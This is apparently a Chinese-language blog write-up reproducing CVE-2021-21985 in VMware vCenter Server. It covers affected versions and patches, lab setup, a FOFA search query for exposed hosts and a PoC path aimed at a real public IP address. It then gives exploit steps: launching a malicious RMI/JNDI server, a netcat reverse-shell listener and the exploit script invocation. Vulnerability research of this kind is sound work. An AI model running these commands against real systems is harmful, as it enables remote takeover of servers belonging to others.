CVE-2021-21985 漏洞复现

CVE-2021-21985 漏洞复现

1.漏洞简介

该漏洞存在于vSphere Client（HTML5）中，由于vCenter Server中默认启用的Virtual SAN Health Check插件缺乏输入验证，拥有443端口网络访问权限的攻击者可以利用此漏洞在承载vCenter Server的操作系统上远程执行任意命令。
需要注意的是，Virtual SAN Health Check插件在所有vCenter Server中都默认启用，任何能够通过网络访问vCenter Server的未经身份验证的攻击者都可以利用这个漏洞，而无论是否使用vSAN，并且该漏洞无需用户交互即可远程利用。

漏洞等级：严重
漏洞评分：9.8
影响版本

- VMware:vCenter Server:
- 非7.0 U2b版本的7.0版本
- 非6.7 U3n版本的6.7版本
- 非6.5 U3p版本的6.5版本
- VMware:Cloud Foundation:
- 低于4.2.1版本的4.x版本
- 低于3.10.2.1版本的3.x版本

修复建议

- VMware:vCenter Server:
- 7.0版本升级到7.0 U2b
- 6.7版本升级到6.7 U3n
- 6.5版本升级到6.5 U3p
- VMware:Cloud Foundation:
- 4.x版本升级到4.2.1
- 3.x版本升级到3.10.2.1

2.靶机搭建

1.安装EXSI 6.7 链接：https://blog.51cto.com/chenjiangfeng/2409826
2.vcenter Server部署指南：

https://blog.csdn.net/qq_38028248/article/details/107712839
下载 vCenter Server
VMware vCenter Server
链接： https://cld5.irans3.com/dlir-s3/VMware-VCSA-all-7.0.0-15952498.iso
VMware-VCSA-all-7.0.0-15952498.iso档案大小： 6.42 GB
MD5： 94bb30ae83cd5f12e2eecce114d43007
SHA1： 17aa2b1ee20e977fb4f8f8391563f57c3e456361

ps：安装这个靶机最好使用好一点的电脑，反正我的电脑安装完启动环境，就像在玩ppt

3.漏洞复现

fofa：app="vmware-vCenter"

POC

/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty
https://208.70.253.125/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty

返回状态：405

ps：我发现cve-2021-21972漏洞和cve-2021-21985漏洞 发生的软件版本时一样的，我试了好几个存在21972漏洞的机器同样存在21985漏洞，如果需要批量测试漏洞的话，也可以尝试使用21972漏洞的poc去测试21985漏洞，如：https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

EXP：

1.首先需要启动RMI:需要到https://github.com/xnianq/cve-2021-21985_exp中下载相应的.jar文件运行
启动rmi服务 java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer x.x.x.x
2.然后开启reverse shell监听
nc -lvvp 5555
最后执行exp：python3 cve-2021-21985.py https://vulip:port  rmi://x.x.x.x:1099/Exploit

ps：vulip:port 即为有漏洞的网站的网址 rmi为java启动的rmi服务的

参考链接：
https://blog.csdn.net/qq_40989258/article/details/118354411?ops_request_misc={“request_id”%3A"162685591116780255248675"%2C"scm"%3A"20140713.130102334.pc_blog."}
https://blog.csdn.net/qq_43645782/article/details/117743212
https://github.com/xnianq/cve-2021-21985_exp
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

声明：
本文仅限于大家技术交流和学习，严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失，后果由您自行承担，感谢您的配合。
作者创作不容易，请大家点赞，收藏，关注支持一下。谢谢各位读者大老爷。